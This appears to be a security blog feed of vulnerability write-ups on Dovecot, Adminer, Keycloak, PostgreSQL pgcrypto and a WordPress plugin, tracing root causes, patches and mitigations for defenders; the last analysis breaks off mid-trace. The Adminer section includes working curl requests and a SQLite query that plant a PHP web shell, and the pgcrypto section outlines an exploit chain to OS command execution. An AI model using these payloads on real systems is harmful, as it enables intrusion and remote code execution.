DEV Community: GUIDANCE WHITE

CVE-2026-24031 Analysis — Dovecot SQL-Based Authentication Bypass (an auth_username_chars Regression)

GUIDANCE WHITE — Wed, 02 Sep 2026 07:41:58 +0000

1. Overview

Item	Detail
CVE ID	CVE-2026-24031
Component	Dovecot Core (SQL passdb/userdb authentication)
Vulnerability class	CWE-89 (SQL Injection)
CVSS 3.1	7.7 (High) — `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L`
Affected versions	OX Dovecot CE core 2.4.0–2.4.2, OX Dovecot Pro core 3.1.0–3.1.3
Fixed in	CE core 2.4.3, Pro core 3.1.4
Internal tracking ID	DOV-8781
Discovery / disclosure	2026-02-23 / 2026-03-27
Discoverer	whisperer (YesWeHack)

Dovecot's official security advisory (OXDC-2026-0001) summarizes it in one line:

Dovecot SQL based authentication can be bypassed when auth_username_chars is cleared by admin. This vulnerability allows bypassing authentication for any user and user enumeration.

Read at face value it sounds like a pure configuration mistake, but the actual root cause is a regression introduced during the 2.4 settings-system refactor, where an explicitly-requested SQL escape function is silently discarded. auth_username_chars being cleared is only the precondition that lets the bug get triggered in practice.

This post is based on a direct clone of the dovecot/core repository, comparing the vulnerable (2.4.2) and patched (2.4.3) source to trace the actual root cause.

2. Background — what auth_username_chars actually does

Dovecot reuses the username a client supplies at login in several places — SQL/LDAP queries, file paths (%u, %n, %d variable substitution), and more. auth_username_chars is the first line of defense against dangerous characters ending up in those places.

Default value in src/auth/auth-settings.c:

.username_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@",

By default only letters, digits, and . - _ @ are allowed. SQL metacharacters like a single quote (') or semicolon are not part of the whitelist at all.

That string is converted into a 256-byte bitmap (username_chars_map) with a special case worth noting:

src/auth/auth-settings.c (around lines 623–630):

if (*set->username_chars == '\0') {
    /* all chars are allowed */
    memset(set->username_chars_map, 1,
           sizeof(set->username_chars_map));
} else {
    for (p = set->username_chars; *p != '\0'; p++)
        set->username_chars_map[(int)(uint8_t)*p] = 1;
}

In other words, setting auth_username_chars to an empty string doesn't mean "no characters allowed" — it means the exact opposite: "allow every byte (0x00–0xFF)." Admins sometimes clear this setting in practice to support wide/unicode usernames, and the moment they do, the first-line filter against SQL metacharacters disappears completely.

The actual filtering happens where auth_request_fix_username() in src/auth/auth-request-fields.c checks that map:

for (p = (unsigned char *)user; *p != '\0'; p++) {
    if (set->username_translation_map[*p & 0xff] != 0)
        *p = set->username_translation_map[*p & 0xff];
    if (set->username_chars_map[*p & 0xff] == 0) {
        *error_r = t_strdup_printf(
            "Username character disallowed by auth_username_chars: "
            "0x%02x (username: %s)", *p,
            str_sanitize(*username, 128));
        return -1;
    }
}

When username_chars_map is filled with 1s across the board, this check effectively rejects nothing. Up to this point we're still in "admin misconfiguration" territory. The real problem is what happens next.

3. How the SQL query gets built — passdb-sql.c

An SQL passdb builds its query string (e.g. SELECT username, password FROM users WHERE username = '%u') by expanding variables like %u (username) inside the configured passdb_sql_query template. To prevent SQL injection, the substituted value must always go through SQL escaping.

src/auth/passdb-sql.c:

static int passdb_sql_escape(const char *str, const char **output_r,
                             void *context, const char **error_r)
{
    struct sql_db *db = context;
    return sql_escape_string(db, str, output_r, error_r);
}

static void sql_lookup_pass(struct passdb_sql_request *sql_request)
{
    ...
    const struct settings_get_params params = {
        .escape_func = passdb_sql_escape,
        .escape_context = module->db,
    };
    if (settings_get_params(authdb_event(sql_request->auth_request),
                            &passdb_sql_setting_parser_info, &params,
                            &set, &error) < 0) {
        ...
    }

    e_debug(authdb_event(sql_request->auth_request),
        "query: %s", set->query);

    auth_request_ref(sql_request->auth_request);
    sql_query(module->db, set->query, sql_query_callback, sql_request);
    ...
}

At first glance this looks correct. settings_get_params() is called with an explicit escape_func = passdb_sql_escape, and that function calls the underlying DB driver's sql_escape_string() (MySQL/PostgreSQL/SQLite) to properly escape quotes and the like. settings.h even documents the contract:

struct settings_get_params {
    /* If non-NULL, all %variables are escaped with this function. */
    var_expand_escape_func_t *escape_func;
    ...
};

"If non-NULL, it is guaranteed to be used for escaping" — except that contract wasn't actually being honored.

4. The real root cause — an escape_func override bug in settings.c

The bug isn't in passdb-sql.c at all — it's one layer down, in settings_var_expand_init() inside src/lib-settings/settings.c. Dovecot's settings system can receive a var-expand escape function from two places:

The explicit escape_func a caller passes into settings_get_params() (e.g. passdb_sql_escape)
A default escape callback registered somewhere up the event hierarchy (init_ctx.escape_func)

The vulnerable 2.4.0–2.4.2 code unconditionally used option 2, no matter what the caller passed.

Patch commit 34fbd3956d diff (src/lib-settings/settings.c):

    ctx->var_params.tables_arr = array_front(&init_ctx.tables);
    ctx->var_params.providers_arr = array_front(&init_ctx.providers);
    ctx->var_params.contexts = array_front(&init_ctx.contexts);
-   ctx->var_params.escape_func = init_ctx.escape_func;
-   ctx->var_params.escape_context = init_ctx.escape_context;
+   if (ctx->escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx->var_params.escape_func = ctx->escape_func;
+       ctx->var_params.escape_context = ctx->escape_context;
+   } else {
+       ctx->var_params.escape_func = init_ctx.escape_func;
+       ctx->var_params.escape_context = init_ctx.escape_context;
+   }
    ctx->var_params.event = ctx->event;

So even though passdb-sql.c explicitly requests escape_func = passdb_sql_escape, the actual variable-substitution step silently discarded it and used whatever (unrelated, or absent) escape function the event chain happened to expose instead. The net effect: the username value substituted for %u could end up not escaped at all, or escaped incorrectly, for SQL.

This bug was introduced by the 2024 commit ef0c63b6 ("auth: passdb/userdb sql - Convert to new settings"), a large refactor that moved SQL passdb/userdb onto the new settings framework. The Dovecot developers themselves flag it in the commit log as a "v2.4 regression."

The same class of bug also produced a sibling CVE in the LDAP passdb (CVE-2026-27860, LDAP filter injection) — both trace back to the same settings_var_expand_init() defect.

5. Full attack chain

Two conditions have to line up for real exploitation:

Precondition A: An admin has set auth_username_chars to an empty string (disabling the character whitelist)
Root cause B: The settings_var_expand_init() bug that ignores passdb_sql_escape — present in every 2.4.0–2.4.2 / 3.1.0–3.1.3 install regardless of configuration

The CVSS vector's AC:H (high attack complexity) reflects the fact that condition A has to be true.

6. The actual fix (v2.4.3)

The core patch is the priority reordering inside settings_var_expand_init() shown above.

--- a/src/lib-settings/settings.c
+++ b/src/lib-settings/settings.c
@@ -1673,8 +1673,14 @@ settings_var_expand_init(struct settings_apply_ctx *ctx)
    ctx->var_params.tables_arr = array_front(&init_ctx.tables);
    ctx->var_params.providers_arr = array_front(&init_ctx.providers);
    ctx->var_params.contexts = array_front(&init_ctx.contexts);
-   ctx->var_params.escape_func = init_ctx.escape_func;
-   ctx->var_params.escape_context = init_ctx.escape_context;
+   if (ctx->escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx->var_params.escape_func = ctx->escape_func;
+       ctx->var_params.escape_context = ctx->escape_context;
+   } else {
+       ctx->var_params.escape_func = init_ctx.escape_func;
+       ctx->var_params.escape_context = init_ctx.escape_context;
+   }
    ctx->var_params.event = ctx->event;
 }

Now, when a caller of settings_get_params() explicitly supplies an escape_func (like passdb_sql_escape), that value takes priority; the event-chain default is only used as a fallback when the caller didn't specify one. This is what finally makes the escape functions passed by passdb-sql.c, userdb-sql.c, and db-ldap.c actually take effect.

A few related commits shipped alongside it, cleaning up the same pattern:

25c34e5084 — passdb sql - Fix escaping for set_credentials() (a missing-escape path in the OTP credential-update flow; not a separate CVE, but the same underlying pattern)
6a8f2daf15 — passdb/userdb ldap - Fix escaping ldap filter, base and bind_userdn (CVE-2026-27860, the LDAP counterpart of this exact bug)
74a6f1612e — Rewrite ldap_escape() with a unit test (regression-prevention hardening)

7. Detection and mitigation

Check the configuration

# check dovecot.conf or conf.d/*.conf
doveconf -n | grep auth_username_chars

An empty value (auth_username_chars =) is an immediate red flag. At minimum, restore it to something at or above the default whitelist (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@).
If unicode usernames are genuinely required, don't remove the restriction entirely — build an explicit whitelist that still excludes characters used in SQL injection (', ", ;, \, whitespace, etc.).

Apply the patch

CE core → 2.4.3 or later
Pro core → 3.1.4 or later

Log-based detection

With auth_debug = yes enabled, check the query: ... debug line emitted by passdb-sql.c for usernames containing abnormal quote or comment patterns (--, #, /*).

e_debug(authdb_event(sql_request->auth_request), "query: %s", set->query);

Operational and network controls

Apply rate limiting on authentication endpoints, since response-time or error-message differences could be leveraged for user enumeration.
On the database side, if SQL query logging is enabled, add detection rules for abnormal WHERE-clause patterns in password_query/user_query.

CVE-2026-56705: Pre-Auth RCE in Adminer's MSSQL Driver

GUIDANCE WHITE — Mon, 31 Aug 2026 22:39:45 +0000

Overview

CVE ID: CVE-2026-56705
Target: Adminer (vrana/adminer), current stable adminer-5.4.2.php
CVSS: 9.8 (Critical)
Attack requirement: None — pre-authentication, over the network
Precondition: pdo_sqlsrv extension + Microsoft ODBC Driver for SQL Server installed
Impact: Remote Code Execution
Discovery: Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026

Adminer ships as a single PHP file that gets dropped straight into a web root. That convenience is also why it's such a common target: a login page sitting on the internet, indexed and scannable. This vulnerability lets an attacker drop arbitrary PHP into that same web root even when the login attempt itself fails.

Where the bug lives

Adminer takes driver, server, username, and password from the login form and hands them directly to each database driver's attach() function. Here's the MSSQL driver:

adminer/drivers/mssql.inc.php:185

if (extension_loaded("pdo_sqlsrv")) {
    class Db extends MssqlDb {
        public $extension = "PDO_SQLSRV";

        function attach(string $server, string $username, string $password): string {
            list($host, $port) = host_port($server);
            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
        }
    }
}

Two things go wrong here:

$host is concatenated into the DSN string with zero escaping.
host_port() only strips anything for the IPv6 bracket form ([::1]:1433) — everything else passes through untouched.

include/functions.inc.php:851

function host_port(string $server) {
    return (preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match)
        ? array($match[2] . $match[3], $match[4])
        : array($server, '')
    );
}

Any input that doesn't match this pattern — which includes anything shaped like IP;option=value — falls through the regex and comes back exactly as submitted. So whatever an attacker types into the login form's server field lands, character for character, inside the DSN.

Why a single semicolon is enough

ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the server field and everything after it is parsed as a brand-new DSN option.

The two options that matter here are TraceFile and TraceOn. Turning them on makes the ODBC driver log the connection attempt itself to a file at the given path — regardless of whether the connection succeeds. And that log includes the full connection string, including the UID={...} field, which is populated straight from the username field on the login form.

That gives an attacker control over three things:

TraceFile → the path and filename of the log file (shell.php)
TraceOn=1 → turns tracing on
username → injects PHP code into the UID={...} field inside that log

The full payload, from attach() to PDO

dsn() calls new \PDO($dsn, $username, $password, $options) directly, in pdo.inc.php:13:

function dsn(string $dsn, string $username, string $password, array $options = array()): string {
    $options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT;
    $options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult');
    try {
        $this->pdo = new \PDO($dsn, $username, $password, $options);
    } catch (\Exception $ex) {
        return $ex->getMessage();
    }
    ...
}

So the entire chain — login form → attach() → dsn() → new PDO() — never once escapes or validates the input.

The actual request looks like this:

curl "http://target.tld/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

When this hits the server, Adminer builds this DSN and hands it to PDO:

sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1

The ODBC driver opens shell.php, writes the connection metadata into it (our PHP payload sitting inside UID={...}), then attempts to connect to 127.0.0.1 and fails. The failure doesn't matter — shell.php already exists next to adminer.php.

One more request finishes the job:

curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Here's the full attack flow:

Why this is severe (the technical factors)

Pre-auth: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.
Timing of the write: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic — so there's no application-level checkpoint that could intercept it.
Precondition: pdo_sqlsrv plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.
Writable web root: the default in a lot of containerized PHP deployments.

The same shape exists in the sibling pdo_dblib branch (mssql.inc.php:195, DSN template dblib:charset=utf8;host=$host) — the original report notes they didn't have a reachable dblib install to confirm a working gadget there, but the code path is identical.

A related case: bypassing the SQLite blocklist

A third issue reported alongside this one, in the same codebase, follows a similar shape and is worth a quick look. Adminer already knows that ATTACH DATABASE 'shell.php' is a classic SQLite-to-PHP-shell primitive, so it blocks it:

adminer/sql.inc.php:121

if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}

The problem: VACUUM INTO 'path', available since SQLite 3.27.0, does almost exactly the same thing — it writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with ATTACH, so a query starting with VACUUM sails right through.

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The table name carries the PHP payload, and VACUUM INTO dumps the whole database into a .php file. PHP's parser finds the <?php ... ?> block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it's less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials — so the practical risk is still meaningful.

The common root cause

All three issues share the same pattern:

User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.
A partial-match regex, on failure, returns the raw input instead of a safe default.
Blocklist-based defenses don't keep up with new syntax (like VACUUM INTO).

host_port() returning the original string when its regex doesn't match, the SQLite blocklist only catching ATTACH\b, and (in a related XSS bug in the same audit) a version-string regex falling back to the raw value on a failed match — all three bugs share the exact same failure mode: match failure means the input passes through unmodified.

CVE-2026-18963: Breaking Down Keycloak's reset-credentials Auth Bypass

GUIDANCE WHITE — Sun, 30 Aug 2026 03:51:06 +0000

TL;DR: an unauthenticated attacker who only knew a victim's username could reach the "set a new password" step of Keycloak's forgot-password flow **without ever clicking the emailed reset link. CVSS 9.1. Root cause: one missing equality check plus one un-scoped boolean flag. This post walks the actual patch diff, function by function.

What was possible

No prior credentials. No user interaction from the victim. Just a username. That's enough to land on the password-reset screen for someone else's account. That's why CVE-2026-18963 landed a 9.1 (Critical) on CVSS 3.1.


CVE	CVE-2026-18963
Component	`keycloak-services`, reset-credentials auth flow
CVSS 3.1	9.1 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
CWE	CWE-640 (Weak Password Recovery Mechanism)
Reported by	James Paremain
Disclosed	2026-08-18 (Red Hat) / 2026-08-19 (keycloak#51833)
Fix commit	`dc2d4e524b4dae85aedc87ca28b9e4fa567d56c1` (PR #51844)
Fixed in	26.7.2 / 26.6.6 / 26.4.15 (LTS) / 26.8.0

Below, I walk the attack in the order an attacker would actually hit it, dropping in the real source at each step.

A quick primer on Keycloak's Authenticator model

Every step of a Keycloak flow (login, forgot-password, etc.) is an Authenticator with two entry points:

authenticate(context) — called when the step is first shown. It can render a form, or call context.success() immediately if the step's condition is already satisfied.
action(context) — called when the user submits that form (POST). It validates the submission and calls context.success() or context.failure().

The reset-credentials flow chains two of these:

reset-credentials-choose-user  → org.keycloak.authentication.authenticators.resetcred.ResetCredentialChooseUser
reset-credential-email         → org.keycloak.authentication.authenticators.resetcred.ResetCredentialEmail

Clicking the link in the reset email re-enters the same flow through a separate Action Token path (ResetCredentialsActionTokenHandler), which stamps the auth session with DefaultActionTokenKey.ACTION_TOKEN_USER_ID. That value — "the link that was clicked was minted for this exact user ID" — is the only signal that email verification actually happened. Everything below comes down to one place where that signal stopped being checked.

Step 1 — Pin the target account

The attacker submits the victim's username to the first authenticator:

// ResetCredentialChooseUser.java — action()
UserModel user = context.getSession().users().getUserByUsername(realm, username);
...
context.getAuthenticationSession().setAuthNote(RESET_CREDENTIAL_USER_CHOSEN, "true");
context.setUser(user);   // ← the session is now pinned to the victim
context.success();

Nothing has been emailed yet, nothing has been verified. This just sets a pointer: "this session's target is this user." That pointer gets trusted downstream without re-verification — which is the precondition for everything that follows.

Step 2 — The legitimate path stalls here

The flow moves to reset-credential-email. For a normal user, this is where it stops until they check their inbox:

// ResetCredentialEmail.java — authenticate()
String actionTokenUserId = authenticationSession.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (actionTokenUserId != null && Objects.equals(user.getId(), actionTokenUserId)) {
    context.success();   // re-entered via the emailed action token
    return;
}
...
context.getSession().getProvider(EmailTemplateProvider.class)....sendPasswordReset(link, expirationInMinutes);
context.forkWithSuccessMessage(new FormMessage(Messages.EMAIL_SENT));  // wait screen, nothing more happens

At this point ACTION_TOKEN_USER_ID isn't in the session yet — the attacker can't read the victim's inbox, so authenticate() alone stops them cold. The interesting bug lives in the sibling method, action().

Step 3 — Tamper with the screen state to reroute past `authenticate()`

Keycloak decides which Authenticator handles an incoming request using an execution URL parameter. This is where the second bug comes in — the "try another way" screen-switch logic in DefaultAuthenticationFlow.java:

// pre-patch — DefaultAuthenticationFlow.java
if (inputData.containsKey("tryAnotherWay")) {
    processor.getAuthenticationSession()
             .setAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true"); // ← plain boolean
    return createSelectAuthenticatorsScreen(model);
}
...
public Response processFlow() {
    if (Boolean.parseBoolean(processor.getAuthenticationSession()
            .getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
        String lastExecutionId = ...getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
        if (lastExecutionId != null) {
            // ← as long as the flag is "true", whichever execution is
            //    "current" gets trusted, regardless of which step actually set the flag
            return createSelectAuthenticatorsScreen(executionModel);
        }
    }
}

AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED is a session-wide "true"/"false" string with zero information about which execution set it. CURRENT_AUTHENTICATION_EXECUTION, meanwhile, keeps getting overwritten as the flow progresses. Combining "a selector screen was shown at some point" with "whatever execution is current right now" assumes the two always refer to the same step — an assumption the code never actually enforced.

By tripping this screen switch, an attacker could get a request aimed at the reset-credential-email execution routed straight to its action() method, skipping authenticate() entirely.

Step 4 — The actual hole: `ResetCredentialEmail.action()`

Here's the whole pre-patch method:

// pre-patch — ResetCredentialEmail.java
@Override
public void action(AuthenticationFlowContext context) {
    context.success();
}

One line. It doesn't check whether ACTION_TOKEN_USER_ID exists, and it doesn't check whether it matches the current user — the exact comparison authenticate() performs a few lines above it is simply absent from action(). However this method got invoked, it always said yes.

Combine this with step 3's rerouting, and the entire "wait for the email" gate becomes a formality.

Step 5 — Account takeover

The flow advances to the set-new-password screen. Since context.setUser(victim) from step 1 is still in effect, the attacker types in a new password for an account they never proved control of — game over.

What the patch actually changed

ResetCredentialEmail.java — put the missing check back where it belongs:

 public void action(AuthenticationFlowContext context) {
-    context.success();
+    UserModel user = context.getUser();
+    String actionTokenUserId = context.getAuthenticationSession().getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+    if (user != null && user.getId().equals(actionTokenUserId)) {
+        context.success();
+    } else {
+        context.failure(AuthenticationFlowError.INVALID_USER);
+    }
 }

AuthenticationProcessor.java / DefaultAuthenticationFlow.java — bind the screen-state flag to the execution that actually set it:

-// Boolean flag, which is true when authentication-selector screen should be rendered
+// Flag with the model id when authentication-selector screen should be rendered
 public static final String AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "auth.selector.screen.rendered";

 if (inputData.containsKey("tryAnotherWay")) {
-    ...setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+    ...setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());  // store this execution's own ID
     return createSelectAuthenticatorsScreen(model);
 }
 ...
 public Response processFlow() {
-    if (Boolean.parseBoolean(...getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
-        String lastExecutionId = ...getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
-        if (lastExecutionId != null) { ... return createSelectAuthenticatorsScreen(executionModel); }
+    String selector = ...getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
+    if (selector != null) {
+        String lastExecutionId = ...getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
+        if (selector.equalsIgnoreCase(lastExecutionId)) {   // must be the exact same execution
+            ... return createSelectAuthenticatorsScreen(executionModel);
+        } else {
+            ...removeAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);  // stale flag, drop it
+        }
+    }
 }

Instead of a bare "true", the note now stores the exact execution ID that displayed the selector screen, and re-entry only re-renders it when that ID matches the current execution byte-for-byte. Screen state and execution step are now bound 1:1. Either fix alone would have closed most of the path; together they close it completely.

Affected versions

Stream	Vulnerable	Fixed
26.7.x	< 26.7.2	26.7.2
26.6.x	< 26.6.6	26.6.6
26.4.x (LTS)	< 26.4.15	26.4.15
26.8.x	< 26.8.0	26.8.0

26.5.x and earlier are out of support and won't get a backport — upgrading to a supported stream is the only real fix. If you can't patch immediately, disabling resetPasswordAllowed on the realm removes the entry point (step 1) at the cost of your users' self-service password reset.

CVE-2026-2005: Heap Buffer Overflow in PostgreSQL pgcrypto's pgp_pub_decrypt_bytea() (RCE)

GUIDANCE WHITE — Thu, 27 Aug 2026 23:51:18 +0000

CVSS 3.0: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-122 (Heap-based Buffer Overflow)
Affected: all PostgreSQL versions before 18.2 / 17.8 / 16.12 / 15.16 / 14.21
Component: contrib/pgcrypto
Fix commit: 379695d3cc70d040b547d912ce4842090d917ece (Feb 8, 2026, Michael Paquier)
Discovered by: Team Xint Code at ZeroDay.Cloud 2025, an autonomous AI code analysis tool

This bug has existed since pgcrypto was first contributed in 2005 — roughly 20 years. pgcrypto is a trusted extension, meaning any role with CREATE privilege on a database can install it without superuser access. Application roles are routinely granted exactly that privilege.

CREATE EXTENSION IF NOT EXISTS pgcrypto;
SELECT pgp_pub_decrypt_bytea($1::bytea, $2::bytea);

That's the entire barrier between an attacker with authenticated SQL access — stolen credentials, a SQL injection point, lateral movement from a compromised host — and the vulnerable code path.

Where the bug lives

File: contrib/pgcrypto/pgp-pubdec.c
Function: pgp_parse_pubenc_sesskey()

This function parses a PGP public-key encrypted session key packet. It decrypts the RSA/ElGamal payload, derives the session key length from the decrypted message as msglen - 3, and copies that many bytes into ctx->sess_key.

Pre-patch code:

/*
 * got sesskey
 */
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3;
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len);

ctx->sess_key is a fixed-size array inside PGP_Context, capped at PGP_MAX_KEY (256 bits / 8 = 32 bytes). But sess_key_len is derived straight from msglen, and msglen comes from the RSA/ElGamal modulus size minus PKCS#1 v1.5 padding. An attacker who controls the PGP message controls msglen, which flows unchecked into the memcpy length — pushing well past the 32-byte destination with no bounds check at all.

Why the heap layout makes this so exploitable

Inside decrypt_internal(), allocations happen in this order:

[ctx (PGP_Context, holds sess_key)] → [src (MBuf)] → [dst (MBuf)]

An MBuf holds pointers describing a buffer: start (data), cursor (read_pos), and end (data_end). Because the overflow originates in sess_key, it runs directly through the adjacent src struct and into dst. The gaps between palloc chunk headers are deterministic, so an attacker can preserve valid-looking header bytes inside the overflow payload — the corrupted allocations still free cleanly through pfree(), with no crash to give the attack away.

PostgreSQL's process model compounds this. Each connection gets its own backend via fork() from postmaster, and the child inherits the parent's address space. Every connection to the same postmaster shares an identical ASLR layout, so an address leaked on one connection stays valid on the next.

The three-stage exploit chain

Stage 1 — Information leak. The overflow payload partially overwrites dst->data with two null bytes, redirecting it to a lower heap address. When decrypt_internal() returns, mbuf_steal_data(dst) returns everything between the corrupted dst->data and the original dst->data_end — a window of heap memory containing stale PIE text pointers and heap addresses. One call yields both the PIE base and a heap reference.

Stage 2 — Arbitrary write. The attacker opens a fresh connection (same address space) and triggers the overflow again. This time all four dst fields — data, data_end, read_pos, buf_end — are forged to point at a target address. A PGP_PKT_SYMENCRYPTED_DATA packet later in the same PGP message writes attacker-controlled plaintext through the forged dst, producing an arbitrary-address, arbitrary-value write primitive.

Stage 3 — Privilege escalation to RCE. The target is CurrentUserId, a global in PostgreSQL's .data section that holds the OID of the currently authenticated role. Overwriting it with 10 (BOOTSTRAP_SUPERUSERID) grants superuser for the rest of the session. From there, COPY (SELECT ...) TO PROGRAM '{command}' executes arbitrary OS commands as the user running the PostgreSQL daemon.

Inside the public PoC (`poc.py`)

The published exploit (var77/CVE-2026-2005) breaks the above into 7 concrete steps:

Heap pointer leak — corrupt the mdst buffer's malloc chunk header. When PostgreSQL calls pfree() on it, the allocator's error message leaks the pointer address, revealing the heap location of mdst->data.
Arbitrary read — a second overflow overwrites mdst->data to point at leaked_ptr - 0x10000. After decryption, mbuf_steal_data() returns the contents at that address as the decrypted output, dumping heap memory that may contain stale code pointers.
Pointer scan — the dump is scanned for 8-byte little-endian values that look like code addresses (>= 0x500000000000) but sit outside the heap region — candidate PIE pointers.
PIE base voting — each candidate is tested against ELF symbol offsets from the postgres binary. Every (addr - sym_offset) pair whose page offset matches casts a vote; candidates with 10+ votes survive, and the smallest base (PIE is the lowest-mapped segment) wins.
PIE base validation — using the arbitrary read, the exploit reads CurrentUserId at candidate_base + current_user_offset and checks it against the session's known OID to confirm the base.
Arbitrary write setup — the overflow corrupts both msrc and mdst MBuf headers in one shot. Forged msrc->data/read_pos point at an embedded symmetric-encrypted packet holding the superuser OID (10); forged mdst->data points at CurrentUserId - 4 — the -4 compensates for SET_VARSIZE in pgp-pgsql.c:533, which writes the output length into the first 4 bytes.
Privilege escalation — with CurrentUserId now 10 (bootstrap superuser), COPY FROM PROGRAM runs the specified OS command as the postgres system user.

The fix

The patch adds a bounds check against PGP_MAX_KEY before the memcpy ever runs:

// contrib/pgcrypto/pgp-pubdec.c, pgp_parse_pubenc_sesskey()
unsigned    sess_key_len;
...
sess_key_len = msglen - 3;
if (sess_key_len > PGP_MAX_KEY)
{
    px_debug("incorrect session key length=%u", sess_key_len);
    res = PXE_PGP_KEY_TOO_BIG;
    goto out;
}

/*
 * got sesskey
 */
ctx->cipher_algo = *msg;
ctx->sess_key_len = sess_key_len;
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len);

A new error code was added to contrib/pgcrypto/px.h:

#define PXE_PGP_KEY_TOO_BIG    -111

with a matching message registered in contrib/pgcrypto/px.c:

{PXE_PGP_KEY_TOO_BIG, "Public key too big"},

The full patch spans 8 files and ships a regression test (contrib/pgcrypto/sql/pgp-pubkey-session.sql) plus the script that generates its test vectors (contrib/pgcrypto/scripts/pgp_session_data.py). The test feeds pgp_pub_decrypt_bytea() a PGP message crafted with an oversized session key length and asserts it now fails cleanly with ERROR: Public key too big.

CVE-2026-52715: Unauthenticated SQL Injection in GEO my WP via Map Boundary Search

GUIDANCE WHITE — Tue, 25 Aug 2026 04:50:45 +0000

GEO my WP is a WordPress plugin (10,000+ active installs) that adds map-based location search — store locators, proximity search, BuddyPress member search, that kind of thing. When you pan or zoom the map, the plugin fetches only the results inside the currently visible area by sending the map's southwest and northeast corner coordinates back to the server as two request parameters: swlatlng and nelatlng.

Those two parameters ended up concatenated straight into a SQL query with zero validation and no $wpdb->prepare(). Any anonymous visitor could turn a normal-looking search request into arbitrary SQL.


CVE	CVE-2026-52715
Plugin	GEO my WP (`geo-my-wp`)
Vendor	Eyal Fitoussi
Affected	<= 4.5.4 (through 4.5.5)
Fixed in	4.5.5.1
CVSS	9.3 (Critical)
CWE	CWE-89
Auth required	None

I cloned the plugin's repo and diffed the security fix commit (380fe2e9, "Security: harden boundary lat/lng SQL handling") against the version right before it to trace exactly how the two request parameters reach raw SQL.

Tracing the call chain

1. Entry point: the raw query string

includes/class-gmw-form.php

public function get_form_values() {

    // Sanitized and escaped later when outputting values.
    $qs = isset( $_SERVER['QUERY_STRING'] ) ? wp_unslash( $_SERVER['QUERY_STRING'] ) : '';

    return gmw_get_form_values( $this->url_px, $qs );
}

The comment says sanitization happens later. It doesn't — not for swlatlng/nelatlng. This method runs on any front-end page that has a locator search form on it, no login, no nonce, no capability check.

2. `parse_str()` with no whitelist

includes/gmw-functions.php (pre-fix, as shipped in 4.5.4)

function gmw_get_form_values( $prefix = '', $query_string = '' ) {

    $output = array();

    if ( ! empty( $query_string ) ) {

        $query_string = '' === $prefix ? $query_string : str_replace( $prefix, '', $query_string );

        parse_str( $query_string, $output );

        // for some case where address is not an array.
        if ( isset( $output['address'] ) && ! is_array( $output['address'] ) ) {
            $output['address'] = urldecode( $output['address'] );
        }
    }

    if ( ! empty( $output['sortby'] ) ) {
        $output['orderby'] = $output['sortby'];
    }

    return $output;
}

parse_str() turns every key in the query string into an array key. Append ?swlatlng=whatever&nelatlng=whatever to the URL and $output['swlatlng'] / $output['nelatlng'] contain exactly that string. There's no allow-list of expected parameters and no type check anywhere in this function.

3. Passed straight into the search query args

plugins/posts-locator/includes/class-gmw-wp-query.php

// search within map boundaries.
if ( ! empty( $args['gmw_swlatlng'] ) && ! empty( $args['gmw_nelatlng'] ) ) {

    $where .= gmw_get_locations_within_boundaries_sql( $args['gmw_swlatlng'], $args['gmw_nelatlng'] );

// When address provided, and not filtering based on address fields, we will do proximity search.
} elseif ( empty( $address_filters ) && ( ! empty( $args['gmw_address'] ) || ( ! empty( $args['gmw_lat'] ) && ! empty( $args['gmw_lng'] ) ) ) ) {
    ...

